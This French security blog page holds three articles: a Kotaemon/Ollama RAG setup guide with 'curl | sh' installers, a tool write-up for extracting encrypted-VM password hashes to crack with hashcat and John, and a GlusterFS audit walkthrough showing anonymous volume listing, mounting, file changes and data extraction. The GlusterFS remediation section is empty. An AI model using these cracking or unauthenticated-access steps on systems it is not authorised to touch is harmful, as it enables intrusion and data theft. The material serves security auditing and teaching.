❌

Vue lecture

Deep dive into AI world : Mise en place d’une pipeline RAG avec Kotaemon

The future is now ! Bonjour Ă  tous, aprĂšs quelques mois d’absence dus Ă  de nombreux side projects, je suis de retour sur le blog avec un nouvel article qui, j’espĂšre, va plaire au plus grand nombre d’entre vous. Dans celui-ci, je vous propose de plonger au cƓur du fonctionnement d’un systĂšme RAG (Retrieval-Augmented Generation) afin que vous puissiez en crĂ©er un vous-mĂȘme chez vous sur un serveur Linux. Je n’épilogue pas plus, place Ă  la technique !

I. Environnement des tests et prérequis

  • Ubuntu 24.04.1 – Version du noyau : 6.8.0-49-generic
  • Docker (27.3.1 dans mon cas)
    • Pour ceux qui n’auraient pas encore Docker installĂ© sur leurs postes, je vous encourage vivement Ă  utiliser le script d’autoconfiguration proposĂ© par Docker. En effet, la version disponible dans le rĂ©fĂ©rentiel apt d’ubuntu n’est pas Ă  jour.
    • Voici, comment installer docker curl https://get.docker.com/ | sh
  • LLMs utilisĂ©s :
    • nomic-rmbed-text
    • llama3.1:8b
  • « Orchestrateur Â» : Kotaemon

II. Qu’est-ce qu’une pipeline RAG ?

Une pipeline RAG (Retrieval-Augmented Generation) est une architecture utilisĂ©e en intelligence artificielle pour combiner des capacitĂ©s de recherche « documentaire Â» et de gĂ©nĂ©ration de texte afin de rĂ©pondre Ă  des questions se basant sur un contenu externes (fichiers). L’idĂ©e principale est de complĂ©ter un modĂšle gĂ©nĂ©ratif « classique Â» en l’aidant Ă  puiser dans une base de connaissances « externe Â» pour produire des rĂ©ponses plus prĂ©cises, Ă  jour et fiables.

Une pipeline RAG regroupe donc deux grandes Ă©tapes :

  • Recherche d’informations (« retrieval« ).
    • AssurĂ© par le LLM nomic-embed-text dans cet article
  • GĂ©nĂ©ration de la rĂ©ponse (« generation« ).
    • AssurĂ© par le LLM Llama dans cet article

Une fois les documents indexĂ©s, voici Ă  quoi ressemble le workflow d’une requĂȘte d’un point de vu utilisateur.

a) Ingestion et préparation des données

  • Les documents qu’on souhaite indexer pour former notre base documentaire sont indexĂ©s dans une base de donnĂ©es adaptĂ©e Ă  la recherche rapide, souvent sous forme de vecteurs.
  • Cette Ă©tape convertit les donnĂ©es en reprĂ©sentations numĂ©riques comprĂ©hensibles par les modĂšles d’IA.

b) Recherche d’information (retrieval)

  • Lorsqu’une question est posĂ©e, un module de recherche trouve les documents ou passages les plus pertinents Ă  partir de la base indexĂ©e (C’est en quelque sorte un « giga Â» Ctrl +F). Ce module utilise des embeddings* gĂ©nĂ©rĂ©s par des modĂšles comme nomic-embed-text pour effectuer des correspondances sĂ©mantiques.
Cliquez ici pour plus d’information sur la notion d’embeddings




Les embeddings sont des reprĂ©sentations vectorielles de donnĂ©es, telles que des mots, phrases transformĂ©es en vecteurs numĂ©riques. Ces vecteurs capturent les relations sĂ©mantiques, permettant aux modĂšles de comparer des Ă©lĂ©ments similaires plus facilement. Ils sont utilisĂ©s pour simplifier et amĂ©liorer des tĂąches comme la recherche d’information connexes. Voici un exemple concret d’un embedding sous forme de vecteur pour le mot « chat Â». Imaginons que nous utilisons un modĂšle de langage qui transforme des mots en vecteurs Ă  3 dimensions :

Mot : « chat Â»

Vecteur d’embedding :
[0.2,−0.3,0.8]

Chaque composant du vecteur reprĂ©sente une caractĂ©ristique du mot, comme sa relation avec d’autres mots ou son contexte. Par exemple :

  • 0.2 pourrait reprĂ©senter l’association avec des animaux domestiques.
  • -0.3 pourrait reprĂ©senter son lien avec des animaux fĂ©roces (moins fort).
  • 0.8 pourrait ĂȘtre liĂ© Ă  des concepts comme « mignon Â», « poils Â», ou « ronronner Â».

Les mots ayant un sens similaire, comme « felin Â» ou « animal Â», auraient des vecteurs proches de « chat Â».

c) Consolidation des informations récupérées

  • Les informations pertinentes (passages trouvĂ©s) extraites grĂące Ă  nomic-embed-text sont regroupĂ©es par l’intermĂ©diaire d’un « orchestrateur Â» (ici Kotaemon) et transmises au modĂšle gĂ©nĂ©ratif (Llama) comme contexte.

d) Génération de la réponse (generation)

  • Le modĂšle LLM (Llama) prend ensuite le relais et utilise les informations fournies par la recherche prĂ©cĂ©dente pour gĂ©nĂ©rer une rĂ©ponse complĂšte, concise et contextuelle.

Voici le resumé des étapes : B,C,D en un schéma :

source : https://www.aproductstory.com/p/retrieval-augmented-generationrag

Comme toute avancĂ©e technologique, une architecture RAG n’offre pas que des avantages. Voici un tableau des principaux pros/cons :

AspectDescription
Avantages d’une pipeline RAG
Améliore la précisionLes LLM sont souvent limités par leur date de mise à jour. En combinant une recherche dynamique, on pallie cette limite.
RĂ©duit les hallucinationsLe LLM est « guidĂ© Â» par des donnĂ©es prĂ©cises, ce qui diminue les risques de rĂ©ponses inventĂ©es.
PersonnalisationLa recherche peut ĂȘtre configurĂ©e pour fonctionner sur des donnĂ©es spĂ©cifiques (ex : documentations interne).
Limitations d’une pipeline RAG
ComplexitĂ© de mise en ƓuvreNĂ©cessite de configurer un systĂšme de recherche performant (indexation, embeddings, types de fichiers supportĂ©s) et de le connecter aux LLMs sous-jacent.
Performances dĂ©pendantes des donnĂ©esSi les donnĂ©es sont mal structurĂ©es ou absentes, la qualitĂ© du pipeline s’effrite
CoĂ»ts en calculL’étape d’embedding et de recherche est gourmande en ressources. Cela dĂ©pend de la taille des fichiers Ă  indexer.

Maintenant que nous avons vu en quoi consiste une architecture RAG, passons Ă  sa construction.

III. Installation et configuration d’Ollama

Warning : La diffĂ©rence entre Ollama et Llama est importante, car ces deux termes dĂ©signent des outils distincts, mĂȘme si, syntaxiquement, ils sont proches. Llama (Large Language Model Meta AI) est une famille de modĂšles de langage dĂ©veloppĂ©e par Meta, conçue pour la gĂ©nĂ©ration et la comprĂ©hension de texte. En revanche, Ollama est une plateforme qui facilite l’utilisation et le dĂ©ploiement de modĂšles comme Llama. Ollama agit comme un cadre pratique, permettant d’installer, gĂ©rer et interagir avec des modĂšles de langage, tout en offrant des outils supplĂ©mentaires pour simplifier leur intĂ©gration dans des applications, notamment les architectures RAG.

Voici les points essentiels de son fonctionnement :

  • ExĂ©cution locale : Ollama permet d’hĂ©berger et d’exĂ©cuter des modĂšles de langage directement sur ton ordinateur, ce qui garantit la confidentialitĂ© des donnĂ©es.
  • « Catalogue Â» de modĂšles : La plateforme propose un « hub Â» de modĂšles prĂ©entraĂźnĂ©s qu’on peut tĂ©lĂ©charger et utiliser facilement. (mĂȘme principe que le docker hub / vagrant hub)
  • FacilitĂ© d’utilisation : Une interface en ligne de commande « docker like* Â» simple pour charger et interagir avec les modĂšles.
  • Optimisation : Compatible avec du matĂ©riel grand public, comme des GPU et CPU** standards, grĂące Ă  l’optimisation des modĂšles pour les environnements locaux.
  • ConfidentialitĂ© : IdĂ©al pour la souverainetĂ© des donnĂ©es, car Ollama peut ĂȘtre installĂ© « on-premise Â».

*Ollama utilise Docker comme sous-couche pour isoler et gĂ©rer les environnements nĂ©cessaires Ă  l’exĂ©cution des modĂšles de langage.

**Pour rappel, Ollama peut fonctionner en mode CPU-only, c’est-Ă -dire sans recourir Ă  une carte graphique dĂ©diĂ©e. Bien que ce mode soit plus lent, car toutes les ressources de calcul reposent sur le CPU, il rend possible l’exĂ©cution locale d’un LLM sur un ordinateur standard, accessible Ă  presque tout le monde.

Un script d’autosetup est fourni par le site officiel, prenant en charge la plupart des distributions connues. Pour ceux qui prĂ©fĂšrent une solution entiĂšrement basĂ©e sur Docker, il est Ă©galement possible d’utiliser Docker pour installer Ollama. Cependant, cela ajoute une couche d’abstraction supplĂ©mentaire, qui peut parfois ĂȘtre contre-productive, notamment lorsqu’il s’agit d’intĂ©grer des ressources externes dans une architecture RAG, car ces derniĂšres ne sont pas toujours conçues pour fonctionner de cette maniĂšre.

curl -fsSL https://ollama.com/install.sh | sh

DÚs lors, il faut démarrer le service Ollama :

sudo systemctl start ollama

Si-vous souhaitez qu’Ollama s’instancie dĂšs que votre ordinateur/serveur dĂ©marre (optionnel) :

sudo systemctl enable ollama

Pour vous assurer que votre installation d’Ollama fonctionne correctement, il est recommandĂ© de vĂ©rifier son statut et d’instancier un LLM simple pour effectuer un test rapide.

ollama run gemma:2b

prompt : Bonjour, qui est-tu ?

IV. Installation et configuration de Kotaemon

Kotaemon est une plateforme open source conçue pour crĂ©er une architecture RAG en interfaçant plusieurs LLM. Elle permet de structurer, interroger et extraire des informations Ă  partir de grandes quantitĂ©s de donnĂ©es textuelles. Elle simplifie l’indexation des documents (phase d’embedding), la recherche contextuelle sĂ©mantique (rĂ©alisĂ©e ici avec un LLM dĂ©diĂ©, nomic-embed-text), ainsi que la gĂ©nĂ©ration de rĂ©ponses pertinentes en fonction du contexte par le LLM principal, souvent qualifiĂ© de « penseur Â» (dans ce cas : llama3.1:8b).

Pour simplifier le dĂ©ploiement de Kotaemon « on the fly Â», j’ai choisi d’instancier le conteneur de maniĂšre temporaire. Ainsi, dĂšs que je quitte le terminal, le conteneur est automatiquement supprimĂ©. De plus, par dĂ©faut, j’exĂ©cute ce conteneur sur le mĂȘme rĂ©seau que ma machine hĂŽte. Bien que ce ne soit pas recommandĂ© pour un environnement de production « ASoA* Â», cette configuration me permet de faciliter le dĂ©ploiement et l’interfaçage entre le socket de l’API Ollama qui n’utilise pas Docker (localhost:11434) et le systĂšme RAG portĂ© par Kotaemon (localhost:7860).

*A State of Art

docker run -e GRADIO_SERVER_NAME=0.0.0.0 -e GRADIO_SERVER_PORT=7860 --net=host -it --rm ghcr.io/cinnamon/kotaemon:main-full

source : https://github.com/Cinnamon/kotaemon/issues/224#issuecomment-2483136705

Dans un premier temps, et pour vous faciliter la vie en cas de troubleshooting, je vous conseille de ne pas exĂ©cuter le conteneur Kotaemon en arriĂšre-plan. Ainsi, vous aurez les logs de l’application en direct, ce qui vous Ă©vitera de faire des appels intempestifs Ă  la commande docker logs.

Dans un autre terminal, executez les commandes suivantes :

docker ps 

Pour vĂ©rifier que Kotaemon fonctionne correctement avec Ollama, il est essentiel de s’assurer que ce dernier est en mesure d’accĂ©der Ă  l’API d’Ollama, qui utilise par dĂ©faut le port 11434. Pour ce faire, il suffit d’entrer Ă  l’intĂ©rieur du conteneur :

docker exec -it <ID> bash

Puis de saisir la commande suivante :

curl http://localhost:11434 -w '\n'

DĂšs lors, rendez-vous sur l’interface web de Kotaemon (http://localhost:7860), sĂ©lectionnez Ollama comme « model provider Â», puis cliquez sur Proceed.

Kotaemon, ayant accĂšs Ă  l’API d’Ollama, il va se charger du tĂ©lĂ©chargement des modĂšles nomic-embed-text et llama3.1:8b (modĂšles par dĂ©faut).

  • llama3.1:8b (5go)
    • ModĂšle Llama (de Meta), version 3.1, avec 8 milliards de paramĂštres*. Conçu pour accomplir des tĂąches complexes de traitement du langage naturel, telles que la gĂ©nĂ©ration de texte en fonction d’un contexte c.
  • nomic-embed-text (300mo)
    • ModĂšle spĂ©cialisĂ© dans l’embedding de texte, c’est-Ă -dire la conversion de phrases en vecteurs numĂ©riques (reprĂ©sentations vectorielles). Conçu pour des tĂąches comme la recherche sĂ©mantique, la classification de texte ou la mise en cluster d’idĂ©es similaires.

*La notion de paramÚtre dans le contexte des modÚles de langage comme LLaMA fait référence aux poids appris par le modÚle pendant son entraßnement. Ces poids sont des valeurs numériques ajustées pour capturer les relations entre les mots, phrases et concepts dans les données sur lesquelles le modÚle a été entraßné. Plus il y a de paramÚtres, plus le modÚle est complexe et capable de capturer des relations subtiles dans les données.

Une fois que les modĂšles ont Ă©tĂ© tĂ©lĂ©chargĂ©s, Kotaemon tente de dialoguer avec eux en envoyant un simple prompt « Hi Â».

Pourquoi avons-nous besoin de deux modĂšles allez-vous me dire ?

Pour rappel, dans Kotaemon, LlamA 3.1:8B est utilisĂ© pour ses capacitĂ©s avancĂ©es de comprĂ©hension et de gĂ©nĂ©ration de texte en langage naturel. Ce modĂšle est essentiel pour analyser des contextes complexes, produire des rĂ©ponses dĂ©taillĂ©es et interagir de maniĂšre intelligente avec l’utilisateur. Il joue un rĂŽle central dans l’interprĂ©tation des requĂȘtes et l’élaboration des rĂ©ponses. En quelque sorte, c’est lui le « cerveau Â» qui Ă©tablit les connexions entre les donnĂ©es extraites par nomic-embed-text. (ce dernier pouvant ĂȘtre comparĂ© Ă  un assistant chargĂ© de consulter toutes les ressources documentaires, mais sans le recul nĂ©cessaire pour structurer et produire une rĂ©ponse logiquement cohĂ©rente).

En parallĂšle, Nomic-Embed-Text:latest est dĂ©diĂ© Ă  l’indexation et Ă  la recherche sĂ©mantique. Il convertit des textes issus de fichiers PDF, Markdown, etc., en reprĂ©sentations vectorielles, permettant de trouver des similaritĂ©s ou des concepts connexes rapidement et efficacement.

V. Tests

Bien, une fois que vous avez accĂšs Ă  l’interface configurĂ©e de Kotaemon, il est temps de tester si notre pipeline RAG fonctionne correctement. Pour cela, il faut ajouter des fichiers Ă  la base documentaire afin qu’ils soient « embedded Â» (indexĂ© par nomic-embed-text). Pour ce faire, suivez ces Ă©tapes :

  1. Allez dans le menu suivant :
    Files → Upload files
  2. Sélectionnez les fichiers souhaités, puis cliquez sur Upload and index.

Le fichier que j’ai choisi est un document qui dĂ©crit en dĂ©tail le fonctionnement du rĂ©seau Tor, que je vous recommande vivement de le consulter si ce sujet vous interesse.

P40 – Exploration du rĂ©seau Tor

Voilà ce qui se passe du cÎté backend :

En fonction de la puissance de votre ordinateur/serveur ainsi que de la taille du fichier Ă  traiter, le document peut prendre beaucoup de temps Ă  ĂȘtre indexĂ© par nomic-embed-text. Comptez plusieurs minutes avec un ordinateur standard du marchĂ©. L’idĂ©e finale est Ă©videmment d’utiliser un serveur dĂ©diĂ© disposant de bien plus de ressources physiques (CPU, GPU, RAM).

Une fois que celui-ci est indexĂ©, vous pouvez enfin essayer de requĂȘter le RAG en posant des questions relatives au document indexĂ©.

Prompt : Qui sont les auteurs du document ?

Ce premier prompt, en posant une question directement liĂ©e au document, permet de vĂ©rifier que notre pipeline RAG fonctionne correctement. Cela teste si l’IA fournit une rĂ©ponse basĂ©e sur le document ou si elle « hallucine Â». Lorsque des documents pertinents sont identifiĂ©s, ils s’affichent Ă  droite dans l’interface.

Posons maintenant une question plus technique, toujours en nous basant sur le document téléversé précédemment.

Prompt : OK. Peux-tu m’expliquer ce que sont les serveurs d’annuaire au sein du rĂ©seau Tor ?

La réponse est en parfaite adéquation avec la notion abordée. Qui plus est, elle est techniquement correcte.

VI. Conclusion

En conclusion, les pipelines RAG reprĂ©sentent une avancĂ©e majeure pour la gestion et l’exploitation de l’information. En combinant la recherche sĂ©mantique et la puissance des modĂšles de langage, ils permettent un accĂšs rapide et contextuel aux donnĂ©es, transformant ainsi des volumes d’informations brutes en rĂ©ponses pertinentes et exploitables. C’est sans nul doute un avenir certain pour la gestion des procĂ©dures au sein de systĂšmes d’information, car ils Ă©liminent le besoin de rechercher manuellement dans des wikis ou, pire encore, de parcourir des fichiers de procĂ©dure dispersĂ©s. GrĂące Ă  cette avancĂ©e, entreprises et particuliers peuvent, entre autres, optimiser leur productivitĂ©.

++

Archidote

L’article Deep dive into AI world : Mise en place d’une pipeline RAG avec Kotaemon est apparu en premier sur Le Guide Du SecOps ‱ LGDS.

  •  

VM-Password-Extractor : Tenter de retrouver le mot de passe de VM chiffrés (VMWare/VirtualBox)

Certains d’entre vous l’ignorent peut-ĂȘtre, mais il est possible de chiffrer des machines virtuelles Ă  l’aide de VMware Workstation ou de VirtualBox. Dans cet article, je vous propose de dĂ©couvrir le fonctionnement de mon outil : le VM Password Extractor. Cet outil permet d’extraire les mĂ©tadonnĂ©es concernant les mĂ©thodes et types d’algorithmes de chiffrement utilisĂ©s. L’objectif ? Obtenir des dĂ©tails essentiels sur le chiffrement tels que les algorithmes de hachage, le nombre d’itĂ©rations, la valeur du sel, etc. L’idĂ©e est de traduire ces donnĂ©es en un format interprĂ©table, compatible avec deux des outils de craquage de mots de passe les plus populaires : hashcat et John. En effet, ces outils ont rĂ©cemment introduit la compatibilitĂ© avec les schĂ©mas de chiffrement de VirtualBox et de VMware Workstation.

VM-Password-Extractor s’appuie sur certains travaux existants. Pour davantage d’informations, veuillez consulter la section « CrĂ©dits Â» du fichier README.md (situĂ© Ă  la racine de mon dĂ©pĂŽt).

Lien vers le projet : https://github.com/archidote/VM-Password-Extractor

VM-Password Extractor ne nĂ©cessite pas de dĂ©pendances particuliĂšres de Python 3, Ă  l’exception de celles intĂ©grĂ©es par dĂ©faut.

I. Processus de chiffrements – CĂŽtĂ© VMware

Pour rappel, le descriptif d’une machine virtuelle VMware est stockĂ© dans un fichier .vmx. Ce type de fichier est une configuration pour une machine virtuelle, contenant des informations sur la configuration matĂ©rielle telle que la quantitĂ© de mĂ©moire RAM, le type de processeur, les pĂ©riphĂ©riques virtuels, ainsi que les informations liĂ©es au chiffrement de la machine virtuelle si celle-ci est chiffrĂ©e, bien entendu.

Voici un extrait d’un fichier .vmx d’une VM chiffrĂ©. On constate que la variable encryption.KeySafe y stocke les donnĂ©es relatives Ă  son chiffrement. (Algorithme de hashage, Algorithme de chiffrement symĂ©trique, Hash round, etc.)

Voici les Ă©tapes du chiffrement d’une VM avec VMWare (VMware Workstation Pro 17.5 ) :

  1. Création du dérivé du mot de passe (Final Hash) :
    • ○ Saisie du mot de passe
    • ○ DĂ©termination du nombre d’itĂ©rations : (10 000 hash rounds : valeur par dĂ©faut).
    • ○ GĂ©nĂ©ration d’un « sel Â» unique (valeur alĂ©atoire de n bits)
    • ○ Application de l’algorithme PBKDF2-HMAC-SHA-1 en utilisant comme entrĂ© le mot de passe le sel et le nombre de hashround. pour « dĂ©river Â» celui-ci et ainsi obtenir le condensat final du mot de passe (Final Hash)
    • ○ Simplification logique : PBKDF2_HMAC_SHA1(password, salt, hash_rounds)
  2. Génération de la clé (chiffrement symétrique) :
    • ○ Utilisation du nom de la VM et du VM ID pour initialiser le processus de la crĂ©ation de la clĂ© symĂ©trique initial avec l’algorythme AES-256.
  3. Chiffrement de la VM :
    • ○ Le chiffrement de la VM (disque, etc.) se fait avec l’algorithme AES-256-XTS en utilisant le condensat (Final Hash) obtenue prĂ©cĂ©demment comme clĂ© de chiffrement.
    • ○ Simplification logique : AES-256(PBKDF2-HMAC-SHA-1(password,salt,hash_rounds), VM_DISK_FILE)

Ce processus de chiffrement assure que le chiffrement de la VM repose sur une clĂ© dĂ©rivĂ©e du mot de passe (pas le « vrai Â» mot de passe directement), offrant ainsi une couche de sĂ©curitĂ© supplĂ©mentaire.

Note 1 : Actuellement, le choix de l’algorithme PBKDF2-HMAC-SHA-1 pour la clĂ© de dĂ©rivation est considĂ©rĂ© comme robuste, mais son efficacitĂ© Ă  long terme pourrait ĂȘtre remise en question en raison de l’évolution constante des attaques informatiques et des capacitĂ©s de calcul.

https://crypto.stackexchange.com/questions/26510/why-is-hmac-sha1-still-considered-secure

Note 2 : Depuis juillet 2023, VMware a changé sa méthode de chiffrement asymétrique en optant pour AES-256-XTS, qui est plus sécurisée que son prédécesseur AES-256-CBC.

https://kb.vmware.com/s/article/93071

II. CÎté VirtualBox

Le fichier .vbox est l’équivalent du fichier .vmx et contient essentiellement des donnĂ©es similaires. Il sert Ă  stocker les informations spĂ©cifiques Ă  une machine virtuelle pour cet environnement. C’est dans ce fichier que sont rĂ©pertoriĂ©es les donnĂ©es relatives au chiffrement de la VM.

Étapes pour chiffrer une machine virtuelle dans VirtualBox :

  1. Génération de la clé symétrique :
    • ○ L ‘utilisateur a le choix entre deux algorithmes : AES-XTS128-PLAIN64 ou AES-XTS256-PLAIN64.
  2. Création du dérivé du mot de passe (Final Hash) :
    • ○ VirtualBox utilise PBKDF2-SHA256 pour crĂ©er un dĂ©rivĂ© du mot de passe initial.
    • ○ Le processus de dĂ©rivation de clĂ© est itĂ©rĂ© deux fois (itĂ©ration 2 = f(itĂ©ration 1)) pour rendre la rĂ©cupĂ©ration du mot de passe d’origine plus difficile et coĂ»teuse en terme de temps de cassage.
      • – Pour la premiĂšre itĂ©ration, VirtualBox effectue (par dĂ©faut) 720 000 tours de PBKDF2-SHA256 en utilisant une valeur de « sel Â» x .
      • – Puis, pour la seconde itĂ©ration il effectue une deuxiĂšme itĂ©ration de 20 000 tours (par dĂ©faut) avec une deuxiĂšme valeur de « sel Â» y en utilisant le rĂ©sultat de la premiĂšre itĂ©ration comme entrĂ©e .
    • ○ Simplification logique :
      • hash_iteration1 = PBKDF2-SHA256(password, salt1, hash_rounds)
      • final_hash = PBKDF2-SHA256(hash_iteration1, salt2, hash_rounds)
  3. Chiffrement de la VM :
    • ○ Le condensat final (courrament nommĂ© Final hash) obtenue est utilisĂ©e comme clĂ© de chiffrement asymĂ©trique en fonction de l’algorithme initial sĂ©lectionnĂ©.
    • ○ Simplification logique : AES-XTS256-PLAIN64(PBKDF2-SHA256(password, salt1, hash_rounds), salt2, hash_rounds), VM_DISK_FILE)

VirtualBox utilise un processus de chiffrement plus robuste que VMware. Cela est en partie dĂ» Ă  la sĂ©lection d’un algorithme de dĂ©rivation plus moderne, accompagnĂ© de deux itĂ©rations avec un nombre plus Ă©levĂ© de tours de hachage (Hash Rounds). Ces Ă©lĂ©ments rendent le processus de cassage du hachage considĂ©rablement plus coĂ»teux en termes de temps, particuliĂšrement s’il est robuste.

III. DĂ©monstration

A. Avec une VM VMware chiffrĂ©e et l’utilitaire john

python3 ./VM-Password-Extractor.py --vmx assets/vmware/encrypted-vmx-file-example-PBKDF2-HMAC-SHA1-and-AES-256-CBC.vmx --vmx-password-hash-to-john -v
  • --vmx : Cet argument spĂ©cifie le fichier .VMX Ă  traiter. Ă  l’intĂ©rieur de celui-ci se trouve les donnĂ©es de chiffrement qui sont obfusquĂ©s.
  • --vmx-password-hash-to-john : Indique Ă  l’outil de formater les informations de chiffrement en un « meta hash Â» compatible avec l’outil john.
  • -v : Mode verbeux


AprĂšs l’exĂ©cution, ce « meta hash Â» est enregistrĂ© dans un fichier hash.YYYYMMDD-HHMMSS.txt (si aucun fichier n’a Ă©tĂ© spĂ©cifiĂ© prĂ©cĂ©demment avec l’option correspondante : -o)


Vous remarquerez qu’une commande « de base Â» john (sans rĂšgle de dĂ©rivation, ni masque, etc.) est gĂ©nĂ©rĂ©e. Dans cet exemple, le mot de passe cassĂ© est trivial : « password Â». Cependant, dans un contexte rĂ©el, l’utilisation d’un dictionnaire personnalisĂ© et l’application de rĂšgles de dĂ©rivation et de masquage seront plus appropriĂ©es.

DĂ©composition du « meta hash Â» « made for john Â» :

FILE.vmx-VM_NAME:
$vmx
$1 # Indique la version initiale du schéma de hachage utilisé
$0 # ParamÚtre complémentaire non-utilisé (N/A)
$0 # ParamÚtre complémentaire non-utilisé (N/A) 
$10000 # Nombre de round de l'itĂ©ration 1
$3e8(...)17f # Salt 1
$561(...)293 # Final Hash

A. Avec une VM VirtualBox chiffrĂ© et l’utilitaire hashcat

python3 VM-Password-Extractor.py --vbox assets/virtualbox/encrypted-vbox-file-example-PBKDF2-HMAC-SHA256-and-AES-256-XTS.vbox --vbox-password-hash-to-hashcat -v
  • --vbox : Cet argument spĂ©cifie le fichier .vbox Ă  traiter. Ă  l’intĂ©rieur de celui-ci se trouve les donnĂ©es de chiffrement qui sont obfusquĂ©s.
  • --vbox-password-hash-to-hashcat : Indique Ă  l’outil de formater les informations de chiffrement en un « meta hash Â» compatible avec l’outil hashcat.
  • -v : Mode verbeux

Vous remarquerez qu’une autre commande « de base Â» a Ă©tĂ© gĂ©nĂ©rĂ© mais cette fois-ci pour l’outil hashcat. (sans rĂšgle de dĂ©rivation, ni masque, etc.)

DĂ©composition du « meta hash Â» « made for hashcat Â» :

$vbox
$0 # Indique la version initiale du schéma de hachage utilisé
$720000 # Nombre de round de l'itĂ©ration 1 
$97c(...)378 # Salt 1 
$16 # Taille de la clĂ© 
$b36e(...)d26 # pre-hash (suite à la premiÚre itération)
$20000 # Nombre de round de l'itĂ©ration 2
$444(...)8e9 # Salt 2
$8da(...)247 # Final Hash 

IV. VM-Password-Extractor – Mesure de rĂ©fĂ©rence comparative – Un Benchmark quoi 
 ^^

MĂ©thode initial : Attaque par Dictionnaire : el famoso « rockyou.txt Â»

  • RĂšgles de dĂ©rivation : aucune
  • Masks : Aucun
  • Mot de passe : password

A. VMware

Mode de chiffrement : AES-256(PBKDF2-HMAC-SHA1)

  • Hashcat : Quelques secondes
  • John the ripper : Quelques secondes

B. VirtualBox

  • Mode de chiffrement : AES-XTS256-PLAIN64(PBKDF2-HMAC-SHA256)
    • Hashcat : Quelques secondes en fonction de la configuration matĂ©riels de l’ordinateur
    • John the ripper : Plusieurs dizaines de minutes
  • Mode de chiffrement : AES-XTS128-PLAIN64(PBKDF2-HMAC-SHA256)
    • Hashcat : Quelques minutes/secondes en fonction de la configuration matĂ©riels de l’ordinateur
    • John the ripper : Plusieurs dizaines de minutes

Sans hĂ©siter, je vous recommande hashcat, qui d’aprĂšs mes tests, est bien plus efficace que John pour casser de tels mots de passe.

V. Résumé

L’article explore le chiffrement des machines virtuelles avec VMware et VirtualBox, en se focalisant sur l’outil VM-Password-Extractor pour extraire et interprĂ©ter les donnĂ©es cryptographiques. Cette analyse met en lumiĂšre des distinctions majeures : si VMware dĂ©ploie un schĂ©ma de chiffrement robuste, il est moins performant que celui de VirtualBox, qui adopte une approche plus moderne. Cette diffĂ©rence renforce la complexitĂ© et prolonge la durĂ©e nĂ©cessaire pour casser le hachage associĂ© au mot de passe initial.

VI. Futur works

Pour les personnes motivĂ©es ou trĂšs Ă  l’aise avec la cryptographie, je vous encourage Ă  tenter de rĂ©tro-ingĂ©nierer le schĂ©ma de chiffrement utilisĂ© par VMware pour chiffrer les machines virtuelles dans VCSA (vCenter Server Appliance). J’ai essayĂ© Ă  plusieurs reprises de mon cĂŽtĂ©, mais sans succĂšs :/

++

GSB || Archidote

L’article VM-Password-Extractor : Tenter de retrouver le mot de passe de VM chiffrĂ©s (VMWare/VirtualBox) est apparu en premier sur Le Guide Du SecOps ‱ LGDS.

  •  

Avez-vous activĂ© un contrĂŽle d’accĂšs pour vos clusters de stockage GlusterFS ?

GlusterFS, systĂšme de stockage multimodal, consolide les fichiers de plusieurs serveurs en un seul systĂšme unifiĂ©, garantissant ainsi la tolĂ©rance aux pannes dĂšs que trois hĂŽtes sont « glusterisĂ©s Â» au minimum. Pourquoi est-ce crucial ? Pour prĂ©venir les split-brain ! Afin d’éviter ce scĂ©nario Ă  tout prix, un nombre impair de serveurs est nĂ©cessaire pour obtenir un quorum de voix en cas de dĂ©faillance d’un hĂŽte.

Par dĂ©faut, de trĂšs nombreux tutoriels en ligne ne prĂ©cisent pas qu’il est important de sĂ©curiser les liens de rĂ©plication inter-serveurs. En effet, par dĂ©faut, GlusterFS ne propose pas cette option de sĂ©curitĂ©.

Mea culpa
 Il y a quelques annĂ©es, j’ai Ă©crit un article sur la configuration d’un cluster de stockage GlusterFS, mais je n’avais pas abordĂ© le contrĂŽle d’accĂšs. Entre-temps, cet article est passĂ© en visibilitĂ© privĂ©e, car il a un peu vieilli. (C’était d’ailleurs l’un des premiers sur l’ancĂȘtre du blog Le Guide du SecOps — connu des initiĂ©s sous le nom Le Guide du SysOps 😊).

I. Identifier un service glusterfs actif sur le réseau

Pour dĂ©buter, il est essentiel d’identifier si une machine expose le port associĂ© au service GlusterFS, mais cela peut s’avĂ©rer difficile car par dĂ©faut, nmap ne le signale pas mĂȘme avec l’option –sV. Le port gĂ©nĂ©ralement associĂ© Ă  ce service est le 27001.

Si-vous ĂȘtes sur un rĂ©seau « VLAN serveur Â» ou que l’organisation auditĂ© n’a tout simplement pas de cloisonnement rĂ©seau, vous pouvez aussi Ă©couter le rĂ©seau avec wireshark (filtrer le trafic avec le protocole « glusterfs Â»).

Lors de l’analyse de l’output d’un script nmap, si vous repĂ©rez que le port 27001 est ouvert, cela devrait attirer votre attention. Si vous soupçonnez la prĂ©sence d’un cluster de stockage GlusterFS au sein d’un rĂ©seau, vous devriez tĂ©lĂ©charger la CLI de GlusterFS pour lever le doute. Pour ce faire, utilisez la commande suivante :

apt update && apt install glusterfs-server 

Il existe également une version glusterfs-cli, cependant, celle-ci peut poser des problÚmes de dépendances. En utilisant ce paquet, vous obtiendrez à la fois le service GlusterFS installé et la CLI. Il est à noter que par défaut, le service GlusterFS restera inactif.

PremiĂšrement, vous pouver tenter de lister les volumes de cette maniĂšre :

gluster --remote-host=192.168.130.143 volume list
mkdir /glusterfs-pwned

On constate qu’un volume « volume1 Â» est retournĂ©. Cela signifie qu’il y a bien un service GlusterFS actif avec un seul volume de donnĂ©es. Mais ne vous emballez pas 🙂 Par dĂ©faut, mĂȘme aprĂšs une sĂ©curisation (voir la derniĂšre section), il est toujours possible de procĂ©der Ă  une Ă©numĂ©ration des volumes
 Pas idĂ©al, mais bon ^^

Ok, donc maintenant est-il possible pour un utilisateur anonyme de monter ce volume localement afin d’accĂ©der aux donnĂ©es ?

La réponse est oui comme vous vous en doutez


II. Connection au volume de maniĂšre anonyme

CrĂ©ez un dossier et associez-le Ă  un point de montage « glusterfs Â» en vous aidant des informations recueillies prĂ©cĂ©demment (IP et nom du volume).

mkdir /glusterfs-pwned 
mount -t glusterfs 192.168.130.143:/volume1 /glusterfs-pwned

Et ce n’est pas tout, vous n’avez pas seulement les droits de lecture par dĂ©faut :p Vous avez aussi les droits d’écriture 🙂

La capture suivante montre qu’il m’est possible de renommer un fichier sur ce cluster de stockage sans demander des droits plus Ă©levĂ©s que ceux que je possĂšde.

III. Extraction des données du volume

Vu que nous avons les droits de lecture (et d’écriture), il est donc possible d’extraire toutes les donnĂ©es de ce partage de fichiers trĂšs facilement. Bon, j’avoue que la commande ci-aprĂšs est la plus minimaliste. ^^

IV. Solution de remédiation

